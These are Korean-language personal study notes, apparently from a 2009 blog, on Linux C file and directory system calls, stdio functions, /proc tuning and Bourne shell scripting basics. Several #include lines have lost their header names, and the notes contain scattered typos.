lstat => 명명된 파일의 상태 정보를 기호화된 링크로 반환
int fstat(int fildes, struct stat *buf)
int stat(const char *path, struct stat *buf);
int lstat(const char *path, struct stat *buf);

stat의 맴버는
st_mode => 파일 권한과 파일 형식 정보
st_ino => 파일과 관련된 inode
st_dev => 파일이 존재하는 장치
st_uid => 파일 소유자의 사용자 ID
st_gid => 파일 소유자의 그룹 ID
st_atime => 마지막 액세스 시간
st_ctime => 권한, 소유자, 그룹 혹은 내용이 마지막으로 변한 시간
st_mtime => 내용이 마지막으로 변한 시간
st_nlink => 파일에 대한 하드 링크의 갯수

예: 파일이 디렉토리가 아니고 소유자에 대한 실행 권한을 가지고 있지만 다른 권한을 가지고 있지 않은지 테스트
struct stat statbuf;
mode_t modes;

stat("filename",&statbuf);
modes = statbuf.st_mode;
if(!S_ISDIR(modes && (modes & S_ISWXU) == S_IXUSR)
...

dup, dup2 => 파일 설명자를 복제하는 방법
int dup(int fildes);
int dup2(int fildes, int fildes2);

기본 라이브러리(stdio.h)를 이용한 파일 입출력
fopen => 저수준 open 시스템 호출과 유사하나 저수준 시스템 호출은 입출력 버퍼링과 같은 잠재적 버그로 원하지 않는 부작용을 없애줌
FILE *fopen(const char *filename, const char *mode);
반환값(null 실패, FILE * 성공)
r 또는 rb => 읽기 전용
w 또는 wb => 쓰기, 내용을 모두 지움
a 또는 ab => 쓰기, 내용을 추가
r+ 또는rb+ 또는 r+b => 갱신(읽기와 쓰기)
w 또는 wb+ 또는 w+b => 갱신, 내용을 모두 지움
a+ 또는 ab+ 또는 a+b => 갱신, 내용을 추가
b는 파일이 텍스트가 아니라 바이너리 파일임을 가르킴(유닉스와 리눅스는 텍스트 파일은 없음 모두 바이너리로 취급함)

fread => 파일 스트림으로 부터 데이터를 읽기
size_t fread(void *ptr, size_t size, size_t nitems, FILE *stream);

fwrite => 지정된 데이터 버퍼에 있는 데이터 레코드를 출력 스트림으로 쓴다
size_t fwrite (const void *ptr, size_t size, size_t nitems, FILE *stream);

!!중요!!
구조화된 데이터를 사용하는 목적으로 fread와 fwrite를 권장하지 않는다. fwrite로 쓰여진 파일들이 다른 컴퓨터에서 잠재적으로 이식되지 않을 수도 있어서 문제의 소지가 있다

fclose => 지정된 stream을 닫으며 쓰여지지 않은 모든 데이터를 쓴다
int fclose(FILE *stream);
stream의 제한은 stdio.h에 FOPEN_MAX로 정의되어있고 최소 8이다

fflush => 파일 스트림의 모든 데이터가 즉시 쓰여짐
int fflush(FILE *stream);
fclose전에 fflush는 자동으로 호출됨으로 fclose 전에 호출할 필요가 없다

fseek => 저수준의 lseek에 해당하는 stream 함수이나 lseek는 off_t를 반환하고
int fseek(FILE *stream, long int offset, int whence);
fseek는 정수를 반환한다(반환값 -1 실패, 0 성공)

fgetc => 파일 스트림으로부터 다음 바이트를 문자로 반환(반환값 EOF 파일 끝, EOF 에러)
int fgetc(FILE *stream);
fgetc의 반환값이 EOF가 2가지가 존재함으로 ferror 혹은 feof를 사용 해야함

getc => 매크로로 구현된 fgetc임(지역 변수가 아니거나 함수의 매개변수로 전달되지
앟은 변수에 영향을 끼치지 못하고 getc의 주소를 함수 포인터로 사용할 수 없다)
int getc(FILE *stream);

getchar => getc(stdin)과 동일하며 표준 입력으로부터 다음 문자를 읽는다
int getchar();

fputc => 문자를 출력 스트림에 쓴다(반환값 : 쓴값 성공, EOF 실패)
int fputc(int c, FILE *stream);
putc => getc의 경우와 같음
int putc(int c, FILE *stream);
putchar => putc(cm, stdout)와 동일하며, 하나의 문자를 표준 출력으로 쓴다(문자를 char가 아닌 int로 취하고 반환함)(반환값: -1 문자끝)
int putchar(int c);

fgets => stream으로부터 문자열을 읽는다(최대 n-1 문자까지 한번에 전송가능)(반환값: 문자열 s에 대한 포인터를 반환)(반환값: EOF 파일끝, NULL 읽기에러)
char *fgets(char *s, int n, FILE *stream);
gets => fgets와 동일하며 표준 입력으로부터 읽고 줄 바꿈 문자를 없앤다는 차이가 있다
char *gets(char *s)

!!중요!!
gets는 전송할 수 있는 문자의 개수에 제한을 두지 않기 때문에 버퍼오버플로우 공격에 취약함으로 fgets로 쓰길 권장함

printf => 다른 형식을 가진 인자들을 형식화해서 출력
int printf(const char *format, ...);
예:
printf("Some numbers: %d, %d, and %d\n", 1, 2, 3);

결과는
Some numbers: 1, 2, and 3

fprintf => 자신의 출력을 지정된 stream에 작성
int fprintf(FILE *stream, const char *format, ...);
sprintf => 자신의 출력과 종료 널 문자를 매개변수로 전달된 문자열 s에 쓴다
int sprintf(char *s, const char *format, ...);

%d, %i => 정수를 십진 형태로 출력
%o, %x => 8진, 16진으로 출력
%c => 문자를 출력
%s => 문자열을 출력
%f => 부동 소수점 단위로 출력
%e => 배정밀도(double) 숫자를 고정된 형식으로 출력
%g => 배정밀도 숫자를 일반적인 형식으로 출력

예:
char initial = 'A';
char *surname "Matthew";
double age = 14.5;
printf("Hello Miss %c %s, aged %g\n", initial, surname, age);

결과는
Hello Miss A Matthew, aged 14.5

예: 181페이지 참조
%10s의 인자값이 Hello일때 결과는 | Hello|

scanf => 스트림으로부터 항목을 읽고 변수에 값을 저장(반환값: 0 실패, EOF 항목이 일치하기 전에 끝에 도달하면, 읽어들인 변수의 갯수 성공)
int scanf(const char *format, ...);
예:
int num;
scanf("Hello %d", &num);

실행방법(밑에 2개 모두 num에 1234가 들어감, Hello와 일치할 경우 %d에 따라 숫자가 오면 들어감)
Hello 1234
Hello1234

!!중요!!
정수를 입력받기 위해 스캔하면서 입력에 숫자가 아닌 문자가 들어온다면 무한 반복문이 발생할 수 있다

%d => 십진 정수 스캔
%o, %x => 8진, 16진 정수를 스캔
$f, $e, $g => 부동 소수점 숫자를 스캔
$s => 문자열 스캔(첫번째 공백에서 멈춤으로 단어용으로 씀)
$[] => 문자들의 집합을 스캔
%% => %문자를 스캔
%c => 하나의 문자만 스캔

예:
Hello, 1234, 5.678, X, string to the of the line를 스캔할 경우

char s[256];
int n;
float f;
char c;

scanf("Hello, %d, %g, %c, %[^\n]", &n, &f, &c, s);

!!중요!!
한 줄을 입력 받고 스캔하기 위해서는 필드 지정자를 사용하거나 fgets와 sscanf를 혼용하는것이 좋다)

int fscanf(FILE *stream, const char *format, ...);
int sscanf(const char *s, const char *format, ...);

!!중요!!
scanf 계열은 사용을 자제(여러 줄의 입력을 읽기 이해서는 fread나 ggets와 같은 함수를 사용)
정통적으로 구현상에 버그가 있음
사용하기에 유연하지 않음
구문 분석된 항목에 대해 작업하기 어려운 방향의 코드가 됨

기타 스트림 함수
fgetpos : 파일 스트림의 현재 위치를 얻는다
fsetpos : 파일 스트림의 현재 위치를 설정한다
ftell : 스트림의 현재 파일 옵셋을 반환한다
rewind : 스트림이 파일 위치를 처음으로 설정한다
freopen : 파일 스트림을 다시 사용한다
setvvuf : 스트림을 위한 버퍼링 방법을 설정한다
remove : 파일이면 unlink와 동일하고 디렉토리면 rmdir과 동일

표준라이브러리를 이용한 파일 복사하기 기능(저수준 보다 느림) 예:
#include
#include

int main()
{
int c;
FILE *in, *out;

in = fopen("file.n", "r");
out = fopen("file.out","w");

while((c=fgetc(in)) != EOF)
fputc(c,out);

exit(0);
}

저수준의 파일 복사하기 기능 예(다시):
#include
#include
#include
#include

int main()
{
char block[1024];
int in, out;
int nread;

in = open("file.in", O_RDONLY);
out = open("file.out", O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);
while((nread = read(in,block,sizeof(block))) > 0)
write(out,block,nread);

exit(0);
}

스트림 에러 처리
errno => 저수준의 에러 값을 반환하는데 이때 에러는 외부 변수 errno에 명시됨
#include
extern int errno;

!!중요!!
여러 함수가 errno의 값을 변경시킬수 있으므로 함수 에러 발생시 즉시 검사를 시행하고 항상 이 변수의 값을 사용하기 전에 다른 변수에 복사하고 쓴다

ferror => 스트림에 대한 에러 표시(반환값: 0 설정안됨, 0이외 설정됨)
int ferror(FILE *stream);

feof => 스트림에서 파일 끝 표시(반환값: 0 설정안됨, 0이외 설정됨)
int feof(FILE *stream);

예:
if(feof(some_stream))
/* 끝에 도달 */

clearerr => 스트림이 가리키는 스트림에서 파일 끝 표시와 에러 표시를 초기화("디스크 공간 부족" 에러가 해결된 다음 스트림에 쓰기 작업을 계속 수행할 때 쓰임)
void clearerr(FILE *stream);

fileno => 어떤 저수준 파일 설명자를 파일 스트림에 대해서 사용할 때(반환값: -1 실패, 주어진 스트림의 파일 설명자 성공)(열린 스트림에 대해서 fstat를 호출하는 것과 같이 저수준 액세스가 필요한 경우 유용하게 쓰임)
int fileno(FILE *stream);
FILE *fdopen(int fildes, const char *mode); => 이미 열린 파일 설명자를 기반으로 새로운 파일 스트림을 생성할 수 잇다(이미 열린 파일 설명자 주변에 stdio 버퍼를 제공)(fopen 함수와 동일한 방식으로 작동하는데 파일 이름 대신 저수준 파일 설명자를 받음)(반환값: NULL 실패, 새로운 파일 스트림 성공)

chmod => 시스템 호출을 사용하여 파일이나 디렉토리에 대한 권한을 변경(쉘 기반)
#include
int chmod(const char *path, mode_t mode);

chown => 시스템 호출을 사용하여 파일의 소유자를 변경
#include
int chown(const char *path, uid_t owner, gid_t group);

unlink => 시스템 호출을 사용하여 파일에 대한 디렉토리 항목을 지우고 링크 개수를 감소시킴(반환값: 0 성공, -1 에러)(unlink를 사용하려면 파일의 디렉토리 항목에 포함된 모든 디렉토리에 대해 쓰기와 실행 권한이 필요함)(rm 프로그램은 이 호출을 사용)
#include
int unlink(const char *path)
link => 기존파일 path1에 대해서 새로운 링크를 만들고 새로운 디렉토리 항목을 path2로 지정
int link(const char *path1, const char *path2);
symlink => 기호화된 링크 만들기(일반(하드) 링크와는 달리 파일이 효과적으로 삭제되는 것을 방지해 주지 않음)
int symlink(const char *path1, const char *path2);

!!중요!!
프로그램이 종료하면 파일을 자동삭제 하기 위해서 임시 파일로 쓰겠다면 open으로 파일을 만들고 바로 unlink를 호출함

mkdir => 디렉토리 생성
#include
int mkdir(const char *path, mode_t mode);
rmdir => 디렉토리 삭제(디렉토리가 비어있을 때만 가능)
#include
int rmdir(const char *path);

chdir => 디렉토리 변경
#include
int chdir(const char *path);

getcwd => 현재 작업 디렉토리 변경(반환값: null 에러(size보다 클때, 디렉토리가 삭제되었을때), buf반환 성공)
#include
char *getcwd(char *buf, size_t size);

opendir => (저수준)디렉토리를 열고 디렉토리 스트림을 생성(저수준임으로 너무 많은 파일을 열면 실패할 수도 있다)(반환값: 널 실패)
#include
#include
DIR *opendir(const char *name);

readdir => 디렉토리 스트림 dirp 내부에 다음 디렉토리 항목에 관한 구조체의 포인터 반환하고 디렉토리 끝에서는 NULL을 반환한다
#include
#include
struct dirent *readdir(DIR *dirp);

dirent 구조체는(더 많은 사항을 결정하려면 stat를 호출한다)
ino_t d_ino: 파일의 inode
char d_name[] : 파일의 이름

telldir => 디렉토리 스트림의 현재 위치를 기록하는 값을 반환
#include
#include
long int telldir(DIR *dirp);

seekdir => telldir 후에 디렉토리 스캔을 현재 위치로 다시 설정
#include
#include
void seekdir(DIR *dirp, long int loc);

closedir => 디렉토리 스트림을 닫음(반환값: 0 성공, 1 에러)
#include
#include
int closedir(DIR *dirp);

간단한 디렉토리 목록을 생성 예: 193페이지 참조
결과는
디렉토리의 각 파일은 한줄에 나열되고 각 하위 디렉토리의 이름에는 마지막에 슬래시(/)가 붙어있고 하위 디렉토리 하의 파일들은 공백 4자로 들여쓴다

lstat(entry ->d_name, &statbuf); // entry에 저장된 디렉토리명을 상태 버퍼에 저장

errno <= 에러처리(errno.h 안에 나열되어 있음)
EPERM : 연산이 허용되지 않음
ENOENT : 그러한 파일이나 디렉토리가 없다

strerror => 에러 번호를 문자열에 대응 시킴
#include
char *strerror(int errnum);

perror => errno에 보고된 현재 에러를 문자열에 대응 시키고 표준 에러 스트림에 출력
#include
void perror(const char *s);

예:
perror("program");

결과
program: Too many open files

/proc => 파일 시스템에 하드웨어 장치에 대한 목록화(리눅스는 대부분의 사항을 파일로 다룸)(리눅스는 특수한 파일 시스템인 procfs를 제공)
/dev => 저수준 시스템 호출을 사용하는 특벽한 방법으로 하드웨어 액세스

cat /proc/net/sockstat => 소켓 사용량 보기
cat /proc/sys/fs/file-max => 한개의 프로세스에서 파일을 최대로 열수 있는 갯수

!!중요!!(튜닝)
echo 60000 > /proc/sys/fs/file-max => 60000으로 변경(DB 용)
부팅 후도 계속 => /etc/sysctl.conf에 fs.file-max = 60000 추가
/etc/security/limits.conf 끝에 * - nofile 60000 추가

ulimit -a 또는 -Sa => soft 한도
ulimit -Ha => Hard 한도
lsof => 프로세스에서 열어놓은 파일 보기

PID는 기본적으로 1~32,000 사이의 값

od -c /proc/"PID"/cmdline => vi에서 어떤 파일을 열었는지 확인
/proc/"PID"/fd/ => 이 프로세스가 사용하고 있는 열린 파일 설명자에 관한 정보가 있음(설명자 0,1,2는 표준 입력,출력,에러 설명자임)

fcntl => 저수준 파일 설명자를 조작(파일 설명자 복제, 파일 설명자 플래그 설정하고 구하기, 파일 상태 플래그 설정하고 구하기, 관고 파일 잠금 관리)
#include
int fcntl(int fildes, int cmd);
int fcntl(int fildes, int cmd, long arg);

mmap => 메모리 맵을 이용해서 두개 이상의 프로그램이 함께 쓰고 읽을 수 있는 메모리 세그먼트를 설정(공유메모리)(off 매개변수를 전달하여 공유 세그먼트에 의해 액세스되는 파일 데이터의 시작 위치를 변경할 수 있고 열린 파일 설명자는 filedes로 전달되고 액세스 할 수 잇는 데이터의 양은 len 매개변수로 설정된다)(addr 틀정 메모리 주소를 요청(보통 0을 넣어서 자동 할당으로 설정))
#include
void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);

msync => 메모리 세그먼트 부분 혹은 전부에 가해진 변경 사항을 매핑된 파일로 쓰거나 매핑된 파일로 부터 읽는다
#include
int msync(void *addr, size_t len, int flags);

mnumap => 메모리 세그먼트를 해지함
#include
int munmap(void *addr, size_t len);

mmap 예: 205페이지 참조

3Day Study

2009-03-01T21:27:00.001-08:00

3Day Study
쉘 스크립트 내장 명령어
break; <= 중간에 빠저나올때 사용
: <= 널 명령 or true(예: while : 와 while true와 같다)
: ${var:=value} <= :이 없으면 쉘은 $var을 명령으로 연산하고자 시도한다
continue <= 반복문에서 사용
for x in 1 2 3
do
echo before $x
continue 1
echo after $x
done

결과값
before 1
before 2
before 3

. <= 현재 쉘에서 명령 실행(예: . ./shell_script) C에서 #include 지시어와 약간 비슷
파일명 classic_set
#!/bin/sh
version=classic
PATH=/usr/local/old_bin:/usr/bin:/bin:.
PS1="calssic> "
파일명 lastst_set
#!/bin/sh
version=latest
PATH=/usr/local/new_bin:/usr/bin:/bin:.
PS1=" latest version> "

결과는
# . ./calssic_set
calssic> echo $version
classic
classic> . latest_set
latest version> echo $version
latest
latest version>

echo <= 문자열과 줄 바꿈 문자를 출력하기 위해서 사용(이식성을 위해서는 tr 명령을 이용
echo -n "string to output"
echo -e "string to output\c" <= \t(탭), \n(캐리지 리턴)

eval <= 인자를 연산할 때
foo=10
x=foo
y='$' $x
echo $y

결과값
foo

foo=10
x=foo
eval y='$' $x
echo $y

결과값
10

exec <= 다른 프로그램을 실행 및 현재 파일 설명자를 수정
exec wall "Thanks for all the fish"
exec 3< afile <=이것은 파일 asfile로 부터 읽기 위해 설명자 3을 사용하여 연다

exit <= 스크립트 종료 기능
exit 0 <= 성공 종료(에러코드는 1~125 까지 존재함)
125 <= 파일이 실행 가능이 아니다
127 <= 명령을 찾을 수 없다
128이상 값 <= 신호(signal)가 발생하였다

AND OR 응용
#!/bin/sh
if [ -f .file ]; then
exit 0
fi
exit 1
과
[ -f .profile] && exit 0 || exit 1
는 같다

export <= 매개변수로 받은 이름의 변수를 하위 쉘에서 사용 가능하도록 만들어줌
파일명 export2
#!/bin/sh
echo "$foo"
echo "$bar"
파일명 export1
foo="foo"
export bar="bar"
export2

결과값은
$ export1

bar
set -a 또는 set -allexport <= 모든 변수를 내보낸다

expr <= 자신의 인자를 표현식으로 연산
x=`expr $x + 1`
x=$(expr $x + 1)
요즘은 expr 보단 $((수식)) 이 쓰임(expr 보다 빠르다)
x=$((3+1))

printf <= 화면출력하기(echo 보다 좋지만 최신의 쉘에서 사용 가능, 소수점은 지원안됨)
\\ <= 백슬래시 문자
\a <= 벨 울리기
\b <= 백스페이스 문자
\f <= 폼 피드 문자
\n <= 줄 바꿈 문자
\r <= 캐리지 리턴
\t <= 탭 문자
\v <= 수평 탭 문자
\ooo <= 8진수 값 ooo을 가진 단일 문자
%d <= 십진수를 출력
%c <= 문자를 출력
%s <= 문자열을 출력

$ printf "%s %d\t%s" "Hi There" 15 people
Hi Theere 15 people

return <= 기본적으로 마지막 명령의 종료 코드 반환

set <= 매개변수을 설정할 때
#!/bin/sh
echo the date is $(date)
set $(date)
echo The month is $2
exit 0

결과는(set으로 매개변수를 설정 후 $2를 사용해서 달(Month)를 갖고온다)
the date is Mon Mar 2 11:46:12 KST 2009
The month is Mar

set -x <= 스크립트가 현재 실행 명령들의 추적을 표시함

shift <= 매개변수를 하나씩 아래로 옮긴다($2->$1, $0은 변하지 않음, $* $@ $# 매개변수들이 새로운 정렬에 따라 값이 변하게 됨)

모든 매개변수 검사
#!/bin/sh
while [ "$1" != "" ]; do
echo "$1"
shift
done
exit 0

trap -l <= SIG 신호들 보기(신호를 이용해서 작동을 지정)
trap 중요한 신호들
HUP(1) <= 행업(대개 터미널을 끊고 사용자가 로그아웃할 때 전송)
INT(2) <= 인터럽트(대개 Ctrl+C를 눌러서 전송)
QUIT(3) <= 끝내기(대개 Ctrl+\를 눌러서 전송)
ABRT(6) <= 중단(대개 어떤 심각한 실행 에러일 때 전송)
ALRM(14) <= 알람(대개 시간 제한을 처리할 때 사용)
TERM(15) <= 종료(대개 시스템이 종료할 때 전송)

#!/bin/sh
trap 'rm -f /tmp/my_tmp_file_$$' INT
echo creating file /tmp/my_tmp_file_$$
date > /tmp/my_tmp_file_$$
echo "press interrupt (CTRL-C) to interrupt ...."
while [ -f /tmp/my_tmp_file_$$ ]; do
echo File exists
sleep 1
done
echo The file no longer exists
trap INT
echo creating file /tmp/my_tmp_file_$$
date > /tmp/my_tmp_file_$$
echo "press interrupt (control-C) to interrupt ...."
while [ -f /tmp/my_tmp_file_$$ ]; do
echo File exists
sleep 1
done
echo we never get here
exit 0

결과는(처음 while 까지 실행 후 Ctrl+C를 누르면 두번째 while문 진입 후 Ctrl+C를 누르면 바로 종료가 되서 echo we never get here 밑으로는 실행되지 않음) <= 잘 안됨
creating file /tmp/my_tmp_file_141
press interrupt (CTRL-C) to interrupt ....
File exists
File exists
The file no longer exists
creating file /tmp/my_tmp_file_141
press interrupt (CTRL-C) to interrupt ....
File exists
File exists

unset <= 변수나 함수를 환경에서부터 메모리에서 완전 삭제함(IFS 같은 읽기 전용 변수는 사용이 안됨)
#!/bin/sh
foo="Hello World"
echo $foo
unset foo
echo $foo

결과(foo=과 틀림 foo가 완전히 사라짐)
Hello World

유용한 명령어들
파일 찾기
find [경로] [옵션] [테스트] [작동]
fine / -mount -name wish -print <= wish파일을 찾는데 마운트된 시스템은 안 찾음
-depth <= 디렉토리의 내용을 먼저 검색
-follow <= 기호화된 링크를 따라감
-maxdepths N <= 검색할때 최대 N 수준까지의 디렉토리를 검색
-mount <= 다른 파일 시스템의 디렉토리는 검색하지 않음
-atime N <= 파일이 N일 이전에 마지막으로 액세스 되었다
-mtime N <= 파일이 N일 이전에 마지막으로 수정되었다
-name "패턴" <= 경로를 제외한 파일의 이름이 주어진 패턴에 일치
-newer otherfile <= 파일이 otherfile보다 최신이다
-type C <= 파일 형식이 C, d는 디렉토리, f는 보통 파일
-user 사용자이름 <= 주어진 이름을 가진 사용자가 파일을 소유하고 있다
! or -not <= 테스트를 역으로 수행
-a or -and <= 두 테스트가 모두 true
-o or -or <= 둘 중 하나의 테스트가 true

파일 X보다 최신이거나 밑줄로 시작하는 이름의 보통파일만 찾아서 출력
find / \( -newer X -or -name "_*"\ ) -type f -print <= (는 특별한 의미기 때문에 \ 필요
find 작동후 수행 옵션은
-exec 명령 <= 명령을 실행
-ok 명령 <= -exec와 같지만 실행하기 전에 사용자에게 여부를 물음
위 두가지는 \;로 끝냄 {}은 현재 파일에 대한 전체 경로로 인식
-print <= 파일의 이름을 출력
-ls <= 현재 파일에 대해서 ls -dils 명령을 사용
파일 X보다 최신이거나 밑줄로 시작하는 이름의 보통파일만 찾아서 ls -l 하기
find / \( -newer X -or -name "_*"\ ) -type f -exec ls -l {} \;
결과는
-rwxr-xr-x 1 root root 5984 Mar 15 2007 /usr/lib/python2.4/site-packages/rhpl/_diskutil.so

find / \( -newer X -or -name "_*"\ ) -type f -exec ls -l \;
결과는
-rwxr-xr-x 1 root root 75 Mar 2 11:46 setsample.sh

grep <= 일반 정규식 파서
grep [옵션] 패턴 [파일]
-c <= 일치하는 줄의 갯수 출력
-E <= 확장 표현식을 적용
-h <= 파일명 붙이는거 제거(일반적으로 grep는 찾은 패턴의 앞에 파일명이 나옴)
-i <= 대소문자를 구별 안함
-l <= 일치된 줄에 해당하는 파일 이름만 나열
-v <= 일치된 패턴 제거

grep -c -v in words.txt <= words.txt안에 in 문자가 없는 줄의 갯수 파악

많이 쓰이는 정규표현식(상세한 정규표현식은 info grep에서 Regular Expressions 부분 보기)
^ <= 문자의 시작
$ <= 문자의 끝
. <= 어떤 단일 문자
? <= 필수가 아니여도 1번 일치
* <= 0번 혹은 더 많이 일치
+ <= 1번 혹은 더 많이 일치
{n} <= n번 일치
{n,} <= n번이상 일치
{n,m} <= n번에서 m번 사이에 일치
[ ] <= 일치되는 문자의 범위(예: ^[a-e]는 a에서 e까지의 역이다)

grep e$ words.txt <= e로 끝나는 문자 찾기
grep a[[:blank:]] words.txt <= a로 끝나는 단어 찾기([[:blank:]]는 공백이나 탭)
grep Th. [[:space:]] word.txt <= Th로 시작되는 단어 찾기
grep -E [a-z]\{10\} word.txt <= 소문자가 10자로 단어 찾기

!!중요 포인트!!
명령 실행의 오래된 형식에서는 작은 따옴표가 아니라 백틱 혹은 백따옴표)`_를 사용하였음을 명심하자
$(명령}은 단순히 명령의 출력임

!!중요 포인트!!
1_tmp와 2_tmp 제어할때
#!/bin/sh
for i in 1 2
do
my_secret_rpocess $i_tmp
done

결과는(에러가 남)
my_secret_process: too few arguments
에러 수정 방법
my_secret_rpocess $i_tmp => my_secret_rpocess ${i}_tmp

매개변수 확장
${param:-default} <= param이 널이면 default의 값으로 설정
${param:=default} <= param이 널이 아니면 변수의 값을 반환하며, 그렇지 않으면 foo를 bar로 설정하고 이 값을 대신 반환
${param:?default} <= param: default를 출력하고, param이 존재하지 않거나 널이면 명령 중지
${param:+default} <= param이 존재하고 널이 아니면 default를 반환
${#param} <= param의 길이를 준다
${param%word} <= 끝에서부터 word에 일치하는 param의 가장 짧은 부분을 제거하고 나머지 반환
${param%%word} <= 끝에서부터 workd에 일치하는 param의 가장 긴 부분을 제거하고 나머지를 반환
${param#word} <= 처음부터 word에 일치하는 param의 가장 짮은 부분을 제거하고 나머지를 반환
${param##word} <= 처음부터 word에 일치하는 가장 긴 부분을 제거하고 나머지를 반환

#!/bin/sh
unset foo <= foo 메모리 삭제
echo ${foo:-bar} <= 기본으로 foo에 bar 넣고 출력
foo=fud <= foo에 fud 넣기
echo ${foo:-bar} <= foo에 fud가 있기 때문에 fud 출력
foo=/usr/bin/X11/startx <= foo에 /usr/bin/X11/startx 입력
echo ${foo#*/} <= foo에서 처음부터 오직 왼쪽 */ 제거하고 출력
echo ${foo##*/} <= foo에서 처음부터 */ 찾아서 최대한 많이 제거하고 출력
bar=/usr/local/etc/local/networks
echo ${bar%local*} <= bar에서 끝부터 local이 오면 중지
echo ${bar%%local*} <= bar에서 끝부터 계속 local까지 비교 후 중지
exit 0

결과는
bar
fud
usr/bin/X11/startx
startx
/usr/local/etc/
/usr/

모든 *.gif파일을 *.jpg로 바꾸기
#!/bin/sh
for image in *.gif
do
cjpeg $image > ${image%%gif}jpg
done

히어 도규먼트(<<) <= 실제로는 명령이 스크립트로부터 입력을 받고 있음에도 파일이나 키보드로부터 입력을 받아들이는 것처럼 실행(echo를 사용 안할때 도 사용하거나 ed(Text 편집기)명령을 제어함)
#!/bin/sh
cat <<!FUNKY!
hello
this is a here
document
!FUNKY!

결과는
hello
this is a here
document

히어 도규먼트 두번째 예제
파일명 a_text_file
That is line 1
That is line 2
That is line 3
That is line 4

#!/bin/sh
ed a_text_file <<!FunkyStuff! <= 히어 도큐먼트 시작
3 <= a_text_file 3번째 줄로 가기
d <= a_text_file 해당 위치에서 줄 삭제
.,\$s/is/was/ <= 3번째 행이 삭제되었기 때문에 기존 4번째 행에서 is를 was로 변경
w <= 저장
q <= 나가기
!FunkyStuff! <= 히어 도큐먼트 끝
exit 0

결과는
That is line 1
That is line 2
That was line 4

디버그 하기
sh -n <스크립트> <= 문법 검사
sh -v <스크립트> <= 소스 보기
sh -x <스크립트> <= 출력값마다 출력을 위한 소스를 보여줌(가장 좋다)
trap 'echo 변수명 = $변수명' EXIT <= 종료될때 변수값 출력

그래픽으로 보여주기 <= dialog 유틸을 사용(yum install dialog)
diaglog --msgbox "Hello World" 9 18
결과는 사이즈가 넓이 9 높이 18인 Hello World라고 다이얼로그 박스가 나옴
--더이상의 그래픽 부분은 생략함--

2Day Study

2009-02-27T01:00:00.000-08:00

2Day Study
[[[[[Shell Script 관련]]]]]
Shell 종류
sh(Bourne) => 유닉스 초기 버전의 원본 쉘
csh, tcsh, zsh => C 쉘 및 파생형 쉘 버클리 유닉스에서 사용됨
ksh, pdksh => 상당수의 상용 유직스의 기본 쉘
bash => GNU 리눅스 기본 쉘 Ksh와 유사함

명령어 결과 파일 출력
ls -l > lsoutput.txt <= New
ls -l >> lsoutput.txt <= Append

에러 정보가 화면에 나타나지 못하게 방지하며 에러 정보를 버릴때(표준 에러 파일 설명자 2)
ls -l 2> lsoutput.txt

kill 명령 결과를 killout에 저장, 에러는 killerr에 저장
kill -HUP 1234 >killout 2>killerr

양 출력을 하나의 파일로 저장
kill -1 1234 >killouterr 2>&1

표준에러 저장 안 하기
kill -1 1234 >/dev/null 2>&1

입력 리다이렉트
more < longtext

프로세서끼리 연결하기(ps의 출력을 받아서 알파벳순으로 정렬 후 uniq를 이용하여 프로세스만 추출하고 grep -v 를 이용하여 sh를 프로세서를 제거하고 more를 이용해서 페이지 단위로 보게함)
ps -xo comm | sort | uniq | grep -v sh | more

ps의 출력을 정렬 후 pssort에 저장
ps | sort > pssort

문자열에서 POSIX를 포함하고 있는 파일 이름을 출력
more 'grep -l POSIX *'
more $(grep -l POSIX *)
grep -l POSIX * | more

Shell Script FOR문
#!/bin/sh <= 시스템에게 이 줄의 인자가 이 파일을 실행시키기 위한 프로그램임을 지정(문자 32개 이하로 지정 구 버전 유닉스들이 지원 못 할 수도 있기 때문)
for file in *
do
if grep -q POSIX $file
then
echo $file
fi
done

exit 0 <= 쉘 프로그래밍에서 0은 성공을 의미한다. 스크립트 자체만으로는 어떠한 실패도 지각하지 못함으로 항상 0을 반환한다

쉘 스크립트의 기본 선언 변수는 문자열로 간주됨
쉘에서 $를 변수 이름 앞에 붙여서 변수의 내용을 액세스 할 수 있음
echo를 통해서 변수값을 화면에서 검사 가능(예: echo $data)
= 기호의 양쪽에는 어떠한 공백도 없어야 함

쓰기권한 제거
chown root ./filename
chgrp root ./filename
chmod 755 ./filename
chmod u=rwx,go=rx ./filename

사용자값 입력받기
read inputmsg
read 후 문자열 비교시 "로 꼭 싸주자
if [ $data = "yes" ] => if [ "$data = "yes" ]

쉘에서 ",',\ 차이점
#!/bin/sh
myvar="Hi there"
echo $myvar
echo "$myvar" <= 값으로 인식
echo '$myvar" <= 문자열로 인식
echo \$myvar < \을 앞에 붙여서 $ 기호의 특수한 의미를 제거
echo Enter some text
read myvar
echo '$myvar' now equals $myvar
exit 0

결과는
Hi there
Hi there
$myvar
$myvar
Enter some text
Hello World <= 키보드 입력을 받음
$myvar now equals Hello World

사용자의 환경 보기 명령어
env

환경변수 설정하는 명령어
export

환경변수
$HOME => 현재 사용자 홈 디렉토리
$PATH => PATH 디렉토리
$PS1 <= 명령어 프롬프트(예: [\u@\h \W]$는 사용자, 컴퓨터 이름, 현재 디렉토리를 보여줌
$PS2 <= 두번째 프롬프트(예: >)
$IFS => 입력 필드 구분자
$0 => 쉘 스크립트의 이름
$# => 전달된 매개변수의 갯수
$$ => 쉘 스크립느의 프로세스 ID

매개변수를 이용하는 방법
$ IFS=' '
$ set foo bar bam
$ echo "$@"
foo bar bam
$ echo "$*"
foobarbam
$ unset IFS
$ echo "$*"
foo bar bam
일반적으로 $@가 많이 쓰임

매개 변수와 환경 변수 실습 (try_var 로 저장)
#!/bin/sh
salutation="Hello"
echo $salutation
echo "$0"
echo "$2"
echo "$1"
echo "$*"
echo "$HOME"
exit 0

결과는
Hello
./try_bar
bar
foo
foo bar baz
/home/rick

쉘의 부울 검사를 할 때 쓰이는 명령어
test 혹은 [ <= [는 test이 축약형(도움말 보기는 help test)
ls -l /usr/bin/[

파일 존재 확인 스크립트(IF문 사용하기)
if test -f fred.c
then
...
elif
...
else
...
fi

if [ -f fred .c ]
then
...
elif
...
else
...
fi

if [ -f .tcsshrc ]; then ... ; elif ... ; else ... ; fi
위 3개의 if은 같은 스크립트다([ 괄호와 확인할 조건 사이에 공백을 반드시 넣어야 함)([ 명령을 사용하여 변수 내용을 테스트 한다. if 명령이 결과를 계산하고 다른 줄의 코드를 실행함)

출력값 응용(if와 elif 조건까지도 통과 된다면 else 출력 후 스크립트값을 1로 종료한다. 이 값을 사용하여 스크립트가 성공하였는지 검사를 할 수 있다)
if [ -f fred .c ];
then
...
elif
...
else
...
exit 1
fi
exit 0

문자열 비교
